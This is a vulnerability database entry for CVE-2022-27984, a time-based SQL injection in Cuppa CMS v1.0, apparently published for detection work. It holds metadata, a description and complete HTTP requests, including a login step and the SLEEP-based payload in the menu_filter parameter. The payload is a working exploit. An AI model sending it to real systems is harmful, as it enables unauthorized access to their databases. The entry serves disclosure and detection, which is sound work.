🔙 목록으로 돌아가기

CVE-2022-27984: Cuppa CMS v1.0 - SQL injection

TitleCuppa CMS v1.0 - SQL injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
RemediationApply the latest patch or upgrade to a newer version of Cuppa CMS that addresses the SQL injection vulnerability (CVE-2022-27984).
CVSS Score9.8
EPSS Score0.24054
CVE IDCVE-2022-27984
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

CuppaCMS v1.0 was discovered to contain a SQL injection vulnerability via the menu_filter parameter at /administrator/templates/default/html/windows/right.php.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=aWxZlb&password=1xb0tZ&language=en&task=login
POST /templates/default/html/windows/right.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 154
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

menu_filter=3'+AND+SLEEP(6)--+-&id=211&url=components%2Fmenu%2Fhtml%2Fedit.php&path=component%2Fmenu%2F%26menu_filter%3D3&uniqueClass=window_right_7526357

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-27984.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-27984.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A